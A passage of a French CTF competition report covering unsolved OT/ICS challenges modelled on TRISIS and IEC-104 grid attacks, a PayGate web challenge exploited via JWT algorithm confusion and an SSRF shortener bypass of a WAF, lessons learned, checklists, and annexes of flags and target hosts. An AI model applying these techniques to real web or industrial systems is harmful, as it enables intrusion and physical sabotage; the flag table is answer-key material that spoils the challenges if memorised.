STATUT	**NON RÉSOLU** — 0 / 3 tentatives

Ce que le briefing donnait

- Nœud racine : `Objects (ns=0, id=85)`, le NodeId bien connu d'OPC-UA.
- Le modèle d'isolation du SIS est explicitement nommé **« SAME ADDRESS SPACE »** : le système de sécurité est « à un appel Browse du contrôleur de procédé, atteint par la même session et les mêmes opérations génériques ». Autrement dit, aucun palier d'autorisation ne sépare le contrôle du procédé de l'accès aux nœuds SIS — c'est le vulnérabilité annoncée, qui reprend le schéma réel de TRISIS/TRITON (2017).
- Aucune source, aucun binaire, aucune corruption mémoire : exploitation purement protocolaire et logique.
- Les NodeId, noms de variables et « quelle écriture compte » ne sont pas donnés : il faut les découvrir en direct par Browse.
- Objectif : désactiver la protection SIS, puis conduire le réacteur dans une condition dangereuse **soutenue** (contrairement à OT#002, un événement unique ne suffit pas).

Format de trame découvert

```
Requête  : [opcode:1][payload:4]
Réponse  : [resp_code:1][len:4 LE][payload:len]     # resp_code = 0x80 | opcode

op=0x00 + 00000000  -> aucune réponse (opcode inconnu, dropped silencieusement)
op=0x01 + 00000000  -> 81 04000000 01000000        # len=4, payload = 1 (LE) : ack de session ?
```

Trois passes exhaustives, un invariant total

Les opcodes 2, 3 et 4 sont restés **100 % invariants** sur l'espace combiné testé : entiers bruts/BE/LE (1/2/4/8 octets), payloads de longueur nulle, encodages numériques de NodeId OPC-UA (formes 2 et 4 octets, ns=0 et ns=1), encodage structuré *chaîne* réel (discriminant de type + ns + longueur + UTF-8), paires NodeId+AttributeId et NodeId+Value, payloads AttributeId seuls, noms ASCII, chemins de browse avec slash/point, payloads longs ou surdimensionnés, et un « curseur de continuation » renvoyé en écho. Le champ `len` est confirmé little-endian uniquement (en BE, la connexion bloque puis se ferme).

> **CONTRAINTE DE CONNEXION DÉCOUVERTE**
>
> Après environ 20-22 requêtes sur 35-50 s d'activité réelle, le serveur ferme proprement la connexion (EOF) sans erreur, ce qui coupe les tests en file. Ce n'est pas le timeout d'inactivité (déjà documenté, bien inférieur à 20 s) : c'est une limite de requêtes ou de durée de vie de la connexion. Il faut prévoir ~15-18 requêtes par connexion, ou se reconnecter vers 40-45 s.

Pourquoi c'est un vrai cul-de-sac

Toutes les théories listées dans le handoff précédent ont été testées et sont négatives. Le briefing affirme que les NodeId doivent être découverts « en parlant à l'endpoint » — donc il existe un mécanisme découvrable qui n'a pas été trouvé. Les recommandations laissées :

1. Chercher dans le canal Discord / les indices organisateurs un client de référence pour OT#004.
2. Vérifier s'il existe un déclencheur complètement différent (un octet « magique », une séquence de handshake) qui ferait basculer le serveur dans un autre mode *avant* la couche `op+len+data` — piste non retestée.
3. Déprioriser tant qu'aucune information nouvelle n'apparaît.

9.8 OT#005 — IEC-104 : le service s'est tu

CIBLE	`169.58.126.107:6004` — RTU de sous-station, protocole inspiré d'IEC 60870-5-104
CATÉGORIE	OT/ICS — 150 pts (0 solve côté plateforme), 3 tentatives
STATUT	**NON RÉSOLU** — 0 / 3 tentatives, service muet

Contexte et hypothèse

Le briefing s'intitule « Grid Command Injection » et le protocole est « inspiré d'IEC 60870-5-104 », le standard de télécommande utilisé dans les attaques contre le réseau ukrainien (2015-2016), qui étaient littéralement des injections de commandes SCADA vers des RTU pour déclencher des ouvertures de disjoncteurs. L'hypothèse de travail : aucune vérification d'origine ni d'authentification sur les commandes de direction de contrôle, donc n'importe quel client peut émettre une commande qui devrait venir de la station maîtresse légitime.

Contrairement à OT#004 (faux OPC-UA), IEC-104 est un protocole réel, documenté et outillé : la première question posée était donc de savoir si le challenge implémente vraiment le format APDU/ASDU standard, auquel cas l'outillage existant s'applique directement.

Ce qui a fonctionné

- Une sonde `STARTDT` seule (démarrage de transfert de données) a été acceptée et a renvoyé une réponse correcte.
- La connexion TCP s'établit toujours en ~0,1 s, y compris après le blocage : ce n'est ni un problème local ni un pare-feu.

Le blocage

Après une *General Interrogation* (GI, la requête d'interrogation générale), le service a cessé de répondre. Les tentatives suivantes — y compris une nouvelle sonde `STARTDT` seule, réputée sûre — renvoient des timeouts purs, sans même une confirmation de démarrage. Reproduction indépendante avec `nc` : même résultat, donc ni le code Python ni le client ne sont en cause.

> **COOLDOWN ANTI-SCAN**
>
> Les challenges OT de cette série appliquent un verrouillage bien plus long qu'un rate-limit HTTP. OT#003 nécessitait un **~600 s d'inactivité réelle** pour se débloquer (30 s et 150 s ne suffisaient pas) ; OT#004 présentait le même motif de verrouillage prolongé. Après 280 s cumulées, OT#005 était toujours totalement muet. Le service est probablement resté bloqué pour le reste de la fenêtre disponible.

Aucun redéploiement en libre-service n'existe pour ce challenge (contrairement aux labs HTB) : la `connection_info` est statique, sans contrôle d'instance par utilisateur. Il ne restait qu'à attendre ou demander un redémarrage aux organisateurs.

Plan de reprise laissé

1. Ne pas répéter immédiatement la trame GI qui a précédé le blocage.
2. Commencer par une sonde `STARTDT` seule pour vérifier que le service est revenu.
3. Varier la *Common Address* (seul CA=1 a été essayé ; les CA réels vont de 1 à 65534, et un CA inattendu pour ce RTU peut être ignoré ou rejeté — essayer aussi `0xFFFF` en broadcast).
4. Ajouter un court délai et une seconde tentative de GI avant de conclure que la réponse est réellement vide (les réponses de GI peuvent être lentes plutôt que fatales).

9.9 PayGate — 1 200 points, la plus grosse occasion manquée

CIBLE	`144.217.91.111:3002` — Express ; `server.js` fourni, `utils/auth.js` retenu
CATÉGORIE	web — 1 200 pts, **0 solve sur toute la compétition**
STATUT	**NON RÉSOLU** — 2 vulnérabilités confirmées, pas de sink final

Vulnérabilité 1 — confusion d'algorithme JWT (confirmée)

`/pubkey` expose la clé publique RSA en clair (par conception, pour permettre à d'autres services de vérifier les sessions marchands). `verifyToken(token, publicKey)` dans `utils/auth.js` ne fixe apparemment pas `algorithms: ['RS256']` : un jeton avec l'en-tête `{"alg":"HS256"}` est vérifié en HMAC-SHA256 en utilisant la *chaîne* PEM de la clé publique (octets exacts, retour à la ligne final inclus) comme secret.

```
header  = {"alg":"HS256","typ":"JWT"}
payload = {"username":"ops-admin","role":"ops"}
sig     = HMAC-SHA256(b64url(header) + "." + b64url(payload), raw_pem_bytes)

GET /ops/dashboard   Authorization: Bearer <token>
 -> 200 {"message":"Welcome, ops-admin","ledgerService":"http://ledger:4000"}
```

Vulnérabilité 2 — SSRF vers le service interne « ledger » (confirmée)

Un WAF openresty inspecte le corps JSON complet et bloque toute occurrence du mot `ledger` (insensible à la casse, après décodage JSON — l'échappement `\uXXXX` ne contourne pas). Il bloque aussi `{{` et `${` lorsqu'ils sont adjacents à des opérateurs arithmétiques (signature de sonde SSTI), mais laisse passer `{{word}}` sans calcul. Le filtre applicatif, lui, applique `BLOCKED_HOSTS = ['ledger','localhost','127.0.0.1']` plus une regex RFC1918.

Bypass : ne jamais écrire le mot « ledger » dans sa propre requête. Un raccourcisseur public (tinyurl) est créé à l'avance et pointe vers l'URL interne ; l'URL soumise ne contient que le domaine du raccourcisseur, et la redirection est suivie côté serveur. Le `isBlockedHost` ne valide que l'URL fournie, jamais la destination après redirection.

Le mur

- `ledger:4000` expose `/health` et `/internal/render-receipt`.
- `render-receipt` est **confirmé non fonctionnel** : toutes les formes de corps essayées (chaîne plate, objet, clés `template` / `data` / `name` / `html` / `receipt`, placeholders `{{...}}` et `<%= %>`, noms de fichiers) renvoient une erreur ou un corps vide. C'est un leurre.
- Chemins alternatifs `/render-receipt` et `/internal/receipt` : 404.
- Balayage du réseau Docker : IP réelle de ledger `172.20.0.2` (fuitée par les messages d'erreur de connexion). Ports 80, 8080, 9000, 5000, 4001 : `ECONNREFUSED` ; seul 4000 écoute. `.1` timeout (passerelle Docker), `.3` / `.4` / `.5` refusés. Aucun troisième conteneur.

> **CONSENSUS DES JOUEURS**
>
> Le salon `#ask-me` du Discord confirme que d'autres joueurs ont atteint ledger et se sont heurtés au même mur : « so there are nothing i got access to the second server and the path isn't clear », « i also got there but no use », « rabbit hole maybe? ». Une citation de RAVEN indique toutefois « i checked and i got the flag » : le challenge *est* solvable. La conclusion la plus honnête est que le chemin passe par autre chose que la SSRF vers ce réseau interne — l'angle métadonnées cloud / SSH a été délibérément écarté pour des raisons de périmètre.

Le challenge est resté à **0 solve** pendant toute la compétition et n'a jamais perdu de valeur (pas de decay sans solve). Sur 1 200 points, c'était de loin le plus gros gisement du tournoi — et le seul dont l'exploitation était bloquée par une décision de périmètre, pas par une impossibilité technique.

9.10 Les cinq solves sans trace : preuve de score ≠ preuve technique

Cinq challenges sont marqués résolus par la plateforme alors qu'aucune méthode ni aucun flag n'a été conservé. Les traiter comme des réussites documentées serait malhonnête ; les omettre serait incomplet. Voici l'état exact des preuves.

CHALLENGE	PTS	CE QUI EST PROUVÉ	CE QUI MANQUE	EXPLICATION LA PLUS PROBABLE
0byte	50	`solved_by_me: true`, 9 tentatives incorrectes journalisées, puis une 10e soumission hors outillage.	Flag, méthode.	Indice externe (Discord / ancien participant), jamais retrouvé localement.
PWN#Alpha	52	Apparition et résolution le même jour (14/10), dans `session_check.txt`.	Cible, binaire, technique, flag.	Variation rapide d'une famille déjà connue (série `vault`), résolue hors session.
PWN#004	30	Chaîne complète reproductible (`exploit.py`) ; shell `nobody` ; `/flag/flag.txt` lu (41 octets).	Le flag *accepté*.	Le contenu lu (`CTF{cd8831a9…964aABI}`) a été rejeté sous toutes ses formes ; le flag réellement accepté n'a jamais été réarchivé.
VULN#004	120	`solved_by_me: true` au snapshot du 28/10 (16 solves).	Tout : cible, source, technique, flag.	Aucun workspace créé ; résolution hors outillage suivi.

CHALLENGE	PTS	CE QUI EST PROUVÉ	CE QUI MANQUE	EXPLICATION LA PLUS PROBABLE
VULN#005	30	Recon exhaustive de GoAhead 6.1.1 ; `solved_by_me: true` ; aucune entrée dans `submissions.log`.	La technique effective et le flag.	Résolution hors session ; l'hypothèse `js.c` / `jst.c` n'a jamais été confirmée.

LE CAS PWN#004 MÉRITE UNE EXPLICATION DÉTAILLÉE

Le shell a été obtenu, `wc -c /flag/flag.txt` renvoyait exactement 41 octets, et le contenu commençait par `CTF{cd8831a9ea1fa9b3ab39da0ad921964a`. Deux variantes ont été soumises : `CTF{cd8831a9ea1fa9b3ab39da0ad921964a}` et `CTF{cd8831a9ea1fa9b3ab39da0ad921964aABI}`. Les deux ont été refusées. Le challenge est pourtant marqué résolu. L'explication la plus plausible est une différence entre le fichier lu et la valeur attendue par la plateforme (mauvaise instance, flag régénéré après redéploiement, ou soumission effectuée depuis une autre session avec la bonne valeur). Ce rapport ne prétend donc pas connaître le flag de PWN#004, seulement la chaîne qui mène au fichier.

Conséquence de méthode

Le point commun de ces cinq cas n'est pas technique, il est procédural : à chaque fois, la résolution a eu lieu en dehors de l'outillage suivi, et rien n'a été réécrit dans le dépôt. Un fichier `notes.md` d'une ligne, créé à l'ouverture du challenge (cible, port, nom de la pièce jointe, heure), aurait suffi à préserver le contexte. C'est la leçon la plus utile de tout le tournoi, et elle ne concerne aucun exploit.

CHAPITRE 10

Analyse transversale

Ce chapitre ne raconte pas les challenges : il en extrait ce qui se réutilise. Cinq schémas ont fait gagner des points, cinq pièges en ont coûté, et une checklist se dégage.

10.1 Les cinq schémas gagnants

1. Le contrôle qui ne couvre qu'une source d'entrée

TicketVault et SwiftNotes sont le même schéma à deux niveaux différents. Dans le premier, un sanitizer protège le corps de la requête mais la route lit aussi `req.query` ; dans le second, un WAF bloque la chaîne `__proto__` mais le parseur JSON résout un équivalent échappé. À chaque fois, la protection est correcte *pour une représentation* de l'entrée, pas pour toutes les représentations équivalentes.

> **QUESTION À POSER SYSTÉMATIQUEMENT**
>
> « Ce contrôle voit-il toutes les façons d'exprimer la même valeur ? » Corps vs query, littéral vs échappé, pointé vs décimal, casse, encodage, doublons d'en-têtes. Chaque fois que deux couches (WAF, sanitizer, routeur) interprètent différemment, il y a une faille.

2. Le puits de sérialisation est un point d'exécution

ClearHouse restera l'exemple le plus instructif du tournoi : la fonction n'était jamais appelée par l'application, mais `JSON.stringify` appelle `toJSON` pendant la sérialisation. Un « simple » sérialiseur devient donc un déclencheur gratuit. Ce schéma se généralise à tous les formats qui consultent l'objet avant de l'écrire : `toJSON`, `toString`, `valueOf`, getters, `__reduce__`, `__wakeup`, `readObject`.

3. La clé d'obfuscation dérivable ne protège rien

PWN#003 et PWN#004 utilisent tous deux un allocateur maison avec une liste libre obfusquée (XOR + rotation). Dans les deux cas, la clé dépend de l'adresse du chunk lui-même, et un UAF permet de lire le pointeur encodé : l'encodage se retourne en une opération. Le même raisonnement vaut pour les vtables XORées avec une clé statique de service (PWN#004) : dès qu'un couple (valeur, adresse) est connu, l'obfuscation est un simple décodage.

4. Le safety check absent est la vulnérabilité

OT#002 n'exploite aucune corruption mémoire : le dispositif de sync-check (25) n'existe simplement pas, et le protocole permet de le constater (`0x04` renvoie `0x00`). Le CLOSE est donc accepté en anti-phase, ce qui détruit le générateur et fait apparaître le flag dans un buffer de diagnostic. La bonne question OT n'est pas « quel input malformé ? » mais « quelle protection physique manque, et comment le protocole permet-il de la contourner ? ».

5. Le bug réel n'est pas toujours le bug observable

VULN#001 et VULN#002 ont tous deux produit une analyse statique juste (version exacte, correctif manquant identifiés au commit près) et aucun point, parce que le harnais ne renvoyait qu'un statut binaire. Le bug existait ; le canal pour le constater n'existait pas. C'est une distinction fondamentale : une vulnérabilité non observable n'est pas exploitable dans le cadre donné.

10.2 Les cinq pièges les plus coûteux

PIÈGE	COÛT RÉEL	SIGNAL QUI AURAIT DÛ ALERTER	RÈGLE
Deviner une « forme de template » sur ClearHouse	~8 heures	`undefined` en sortie, `502` sur structure cyclique	Les erreurs différenciées décrivent le pipeline. Les lire avant de deviner des payloads.
Faire confiance à `pwn_check.py`	2 mauvais plans d'exploitation	Toutes les protections « désactivées » sur des binaires modernes	Recouper tout outil maison avec l'outil de référence (`checksec` , `ELF(checksec=False)`).
`libc.rip` avec un seul symbole	1 candidat i386 aberrant	Architecture incohérente avec le binaire	Deux symboles minimum, filtrer l'architecture.
Poursuivre un GOT hijack sur un service `fork` -par-connexion	plusieurs sessions	Une connexion neuve est normale 0,6 s après un crash	Tester l'architecture (persistance mémoire) avant toute stratégie de persistance.
Deviner un flag quand le format est confirmé	9 tentatives sur 0byte	Format vérifié octet par octet, hypothèses toutes rejetées	Passer en recherche de canal d'information, pas en génération d'hypothèses.

10.3 Checklist réutilisable

Web

- Lister toutes les sources d'entrée par route : corps, query, en-têtes, cookies, paramètres de chemin.
- Comparer le comportement d'un même payload dans chaque source.
- Sur un WAF : tester l'échappement Unicode, la casse, les doublons, la forme verbatim des tags.
- Sur une API GraphQL : tester les resolvers de champs imbriqués, pas seulement les requêtes racines.
- Sur un renderer : identifier ce qui est réellement exécuté (template, parseur, sérialiseur) via les erreurs.
- Sur un rate-limit : vérifier la clé (chemin brut ? casse ? IP partagée ?) et l'atomicité des contrôles.

Pwn

- `file` , `readelf -h` , `checksec` avant tout : architecture et mitigations.
- Comparer les offsets du binaire fourni à ceux du service distant (sonde `ret` auto-vérifiante).
- Chercher les fuites offertes (bannières, options de debug) avant de construire un leak.
- Lire les résultats non alignés de ROPgadget (`pext` , `mov` , gadgets à effet de bord).
- Ne jamais coder en dur un retour d'appel système ; capturer et propager.
- Sur un allocateur maison : modéliser l'encodage, puis vérifier si une forge corrompt un état partagé.

OT / ICS

- Balayer l'espace d'opcodes avant de raisonner sur la sémantique.
- Identifier la classe d'attaque réelle évoquée par le briefing (Aurora, Oldsmar, TRISIS, IEC-104).
- Chercher la protection absente et le moyen de constater son absence.
- Respecter les cooldowns : une sonde toutes les 600 s, pas une rafale.
- Distinguer « événement unique » et « condition soutenue » — le briefing le dit souvent.

Vuln Research

- Identifier la version exacte (commit) avant toute recherche de CVE.
- Diffuser le diff avec le correctif amont : il indique la dimension d'entrée à faire varier.
- Caractériser l'oracle du harnais : que rapporte-t-il exactement ?
- Reproduire localement, puis seulement ensuite consommer le budget distant.

10.4 Ce qu'on ferait différemment

1. **Ouvrir une fiche à la seconde où un challenge apparaît.** Cible, port, nom de la pièce jointe, heure de publication. Cinq challenges résolus n'ont aucune trace pour cette seule raison.
2. **Allouer le temps par points, pas par intérêt.** PayGate valait 1 200 points et n'a jamais été retravaillé après le mur du ledger ; OT#005 valait 150 points et a été perdu sur un cooldown mal anticipé. À l'inverse, huit heures sur ClearHouse ont rapporté 112 points — mais aussi le pattern le plus réutilisable du tournoi.
3. **Tester l'architecture du service tôt.** Le `fork`-par-connexion de PWN#Beta aurait dû être identifié en dix minutes, pas après sept sessions.
4. **Poser la question de l'observabilité avant celle du bug.** Sur VULN#001 et VULN#002, la vraie question n'était pas « quel correctif manque ? » (répondu) mais « comment le constater ? » (jamais résolu).
5. **Garder les sorties.** Les scripts PWN#004 imprimaient le flag sur stdout ; le fichier n'a pas été sauvegardé. Un simple `tee` aurait évité une zone d'ombre définitive.

CHAPITRE 11

Annexes

A. Table définitive des flags

La colonne « preuve » indique la source exacte de la valeur. **Journal** = entrée `correct: true` dans `logs/submissions.log` ; **lecture** = contenu lu dans un fichier ou un environnement compromis ; **manuel** = soumission faite hors outillage, confirmée par l'état de la plateforme ; **absent** = valeur jamais conservée.

#	CHALLENGE	FLAG	PREUVE
10	Discord	`CTF{OffWeGo}`	Manuel (message épinglé)
1	BLACKHOLE 1	`192.168.43.128`	Journal
2	BLACKHOLE 2	`192.168.43.1`	Journal
3	BLACKHOLE 3	`8000`	Journal
4	BLACKHOLE 4	`GET`	Journal
5	BLACKHOLE 5	`curl/8.21.0`	Journal
6	BLACKHOLE 6	`83`	Journal
7	BLACKHOLE 7	`713`	Journal
8	BLACKHOLE 8	`CTF{UF0N3t_DD0S_4n4lys1s_2026}`	Journal
9	0byte	`— non conservé —`	Absent
17	Know Your Enemy	`CTF{sohoueto}`	Manuel (writeup)
11	TicketVault	`CTF{a1428a3ae5db7d74d6c6d1eab1c6296f}`	Journal
12	SwiftNotes	`CTF{5e038be14a277c1bf8b912e06de7d943}`	Journal
16	WireVault	`CTF{8bc0b47d16a341747a384edb8b88afb8}`	Journal
29	ClearHouse	`CTF{3b44e1b49fddeb721f5aada24d90b082}`	Lecture (`process.env.FLAG`)
13	PWN#001	`CTF{ee6c8e12d8a68dcd220ebe010e2cfa4b}`	Lecture (`/flag/flag.txt`)
15	PWN#002	`CTF{e0a79830f06dca87a52f8be6d895deae}`	Journal + lecture
20	PWN#003	`CTF{0b1578aa1b39f4c6ab9a857a657ee71a}`	Journal + lecture
21	PWN#004	`CTF{cd8831a9ea1fa9b3ab39da0ad921964a}`	Lecture — *rejeté par la plateforme*
22	PWN#Alpha	`— non conservé —`	Absent
18	PWN#Delta	`CTF{c9a9816576849a4aae690a65c1fba37d}`	Lecture (shell distant)
14	OT#001	`CTF{a95d4db0158d93bbe8d3290b503e7437}`	Journal
19	OT#002	`CTF{604dfaa5b5ec40f71a4d1b6690b6f433}`	Journal + lecture
28	VULN#003	`CTF{7be3ffc6c7dd708e925627551706e233}`	Journal
34	VULN#004	`— non conservé —`	Absent
25	VULN#005	`— non conservé —`	Absent

VALEURS À NE PAS CONFONDRE

- `CTF{a95d4db0…}` appartient à **OT#001**, pas à PWN#002 (erreur propagée par une session antérieure).
- `CTF{c9a98165…}` appartient à **PWN#Delta**, pas à PWN#001.
- `CTF{3a44e1b4…}` est une faute de frappe *rejetée* pour ClearHouse ; le bon flag commence par `3b44…`.
- `CTF{ADONON}` était un leurre OSINT pour Know Your Enemy ; la réponse est `CTF{sohoueto}`.

B. Inventaire des cibles

HÔTE:PORT	CHALLENGE	NATURE DU SERVICE	STATUT
169.58.126.107:5000	PWN#001	`vault` x86-64, TCP brut	RÉSOLU
169.58.126.107:5001	PWN#002	`vault` PIE + seccomp	RÉSOLU
169.58.126.107:5002	PWN#003	notes, allocateur maison	RÉSOLU
169.58.126.107:5005	PWN#Beta	`vault` MIPS R3000	NON RÉSOLU
169.58.126.107:5007	PWN#004	Pet Shelter (heap + vtables)	RÉSOLU
169.58.126.107:5008	PWN#005	menu blackbox, aucun binaire	NON RÉSOLU
169.58.126.107:5009	PWN#006	QuickJS 2024-01-13	NON RÉSOLU
169.58.126.107:5011	PWN#Delta	`vault` PowerPC 32 bits	RÉSOLU
169.58.126.107:6002	OT#003	portail aciérie (Express)	NON RÉSOLU
169.58.126.107:6003	OT#004	OPC-UA simulé, SIS	NON RÉSOLU
169.58.126.107:6004	OT#005	RTU IEC 60870-5-104	NON RÉSOLU
169.58.126.107:7026	VULN#002	dnsmasq DHCPv6	NON RÉSOLU
169.58.126.107:7027	VULN#001	libexif « metadata service »	NON RÉSOLU
169.58.126.107:7028	VULN#003	c-ares 1.16.1 (DNS)	RÉSOLU
144.217.91.111:3001	TicketVault	Express + MongoDB	RÉSOLU
144.217.91.111:3002	PayGate	Express + ledger interne	NON RÉSOLU
144.217.91.111:3003	WireVault	paiement / règlement	RÉSOLU
144.217.91.111:3004	ClearHouse	Express + report-core	RÉSOLU
–	BLACKHOLE 1-8	capture `CTF1.pcapng`	RÉSOLU
–	Discord, 0byte, Know Your Enemy	plateforme / OSINT	RÉSOLU

C. Artefacts et emplacements

CHEMIN	CONTENU
workspaces/bugpwn/notes.md	Journal live du qualifier (blackhole, 0byte, Discord, OT#001, etc.).
workspaces/bugpwn/artifacts/challenges_20261028T215503Z.json	Snapshot final : 35 challenges, valeurs, solveurs, `solved_by_me` .
workspaces/bugpwn/logs/submissions.log	37 entrées de soumission (flag, horodatage, réponse plateforme, note de cause).
workspaces/bugpwn/session_check.txt	Historique de polling : apparition et résolution de PWN#Alpha notamment.
workspaces/pwn001/{HANDOFF.md,exp_flag.py}	Analyse du blocage d'adresse de retour, puis shellcode mprotect + ORW.
workspaces/pwn002/{notes.md,exploit.py}	Chaîne PIE + seccomp + `pext` , exploit complet.
workspaces/pwn-003/exploit/exploit.py	Allocateur maison : double-free, fake chunk, GOT read.
workspaces/pwn-004/exploit/{exploit.py,get_flag_once.py}	Forge unique + vtable hijack.
workspaces/pwnBeta/HANDOFF.md	MIPS : disposition de pile, gadgets validés, deux pièges d'arithmétique.
workspaces/ot-002/artifacts/{aurora_trigger.py,opcode_scan.log}	Script Aurora et journaux de fuzz d'opcodes.
workspaces/vuln001/{notes/vuln.md,exploit/exploit1..16.py}	libexif : analyse du sous-dépassement et 16 payloads APP1.
workspaces/vuln003/notes.md	c-ares : protocole, bug, résultats distants.
workspaces/ot-003/notes.md	SSRF four, cartographie Docker, méthode arbitraire.
workspaces/ot-004/notes.md	Trame OPC-UA simulée, espace d'encodages testé, limite de connexion.
workspaces/paygate/notes.md	JWT confusion, bypass WAF, cartographie ledger.
knowledge/writeups/pwn/pwn002-…md	Writeup consolidé PWN#002.
knowledge/writeups/pwn/pwn003-…md	Writeup consolidé PWN#003.
knowledge/writeups/pwn/pwndelta-…md	Writeup consolidé PWN#Delta (PowerPC).
knowledge/writeups/web/wirevault-…md	Writeup consolidé WireVault.
knowledge/writeups/misc/know-your-enemy-…md	Writeup OSINT Know Your Enemy.
Desktop/writeup_clearhouse.md	Writeup détaillé ClearHouse (français).
Desktop/PWN002_PWN003_Writeup.md	Writeup PWN#002 + PWN#003 (anglais).

D. Journal de soumissions — entrées notables

HORODATAGE	CHALLENGE	FLAG	RÉSULTAT	COMMENTAIRE
20261004T231851Z	0byte	battleCTF{}	Incorrect	Première hypothèse vide ; confirme que le format seul ne suffit pas.

HORODATAGE	CHALLENGE	FLAG	RÉSULTAT	COMMENTAIRE
20261005T001052Z	0byte	battleCTF{zero}	Incorrect	Jeu de mots.
20261006T102212Z	BLACKHOLE 6	79	Incorrect	Mauvaise fenêtre temporelle ; corrigé par 83.
20261007T234545Z	PWN#002	CTF{e0a79830…}	Correct	Fin de la chaîne ORW.
20261009T203130Z	PWN#Delta	CTF{c9a98165…}	ok: false	Échec ambigu (CSRF/session), pas un rejet de flag.
20261010T221217Z	OT#001	CTF{a95d4db0…}	Correct	Flag issu d'un writeup externe, non reproductible live.
20261022T072206Z	VULN#003	CTF{7be3ffc6…}	Correct	Après le balayage des counts d'enregistrements.
20261022T215203Z	ClearHouse	CTF{3a44e1b4…}	ok: false	Faute de frappe (a au lieu de b), soumise deux fois.
—	ClearHouse	CTF{3b44e1b4…}	Correct	Soumission manuelle finale (hors journal).

E. Abréviations

SIGLE	SIGNIFICATION
ASLR	Address Space Layout Randomization
BPF	Berkeley Packet Filter (filtre seccomp)
CTFd	Plateforme de gestion de challenges (ici auto-hébergée)
GOT / PLT	Global Offset Table / Procedure Linkage Table
GI	General Interrogation (IEC 60870-5-104)
IDOR	Insecure Direct Object Reference
ORW	open / read / write (chaîne d'appels système)
PIE	Position Independent Executable
RELRO	RELocation Read-Only (protection de la GOT)
SIS	Safety Instrumented System (système instrumenté de sécurité)
SSRF	Server-Side Request Forgery
UAF	Use-After-Free
WAF	Web Application Firewall

NOTE FINALE

Ce rapport rassemble 26 challenges résolus et 9 challenges non résolus, avec pour chacun l'état exact des preuves. Il contient volontairement les impasses, les erreurs de soumission et les valeurs manquantes : un writeup qui ne montre que les réussites n'apprend rien à celui qui devra refaire le travail. Les trois documents les plus utiles pour progresser sont, dans l'ordre : la chaîne ClearHouse (§5.4), la chaîne PWN#003 (§6.3) et l'analyse d'échec de PWN#Beta (§9.1).